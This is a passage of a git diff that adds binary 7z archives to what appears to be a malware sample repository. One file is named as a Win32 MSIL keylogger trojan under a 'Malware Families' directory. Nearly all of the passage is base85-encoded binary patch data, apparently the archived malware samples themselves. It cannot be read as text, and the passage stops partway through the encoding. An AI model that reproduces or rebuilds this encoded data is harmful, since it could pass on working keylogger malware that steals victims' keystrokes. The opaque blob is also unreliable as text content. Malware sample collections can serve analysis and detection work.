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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aww-f.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aww-f.7z new file mode 100644 index 0000000000000000000000000000000000000000..b82c24d6a359c74a125d31b1a54dc408f3e10b54 GIT binary patch literal 12322 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 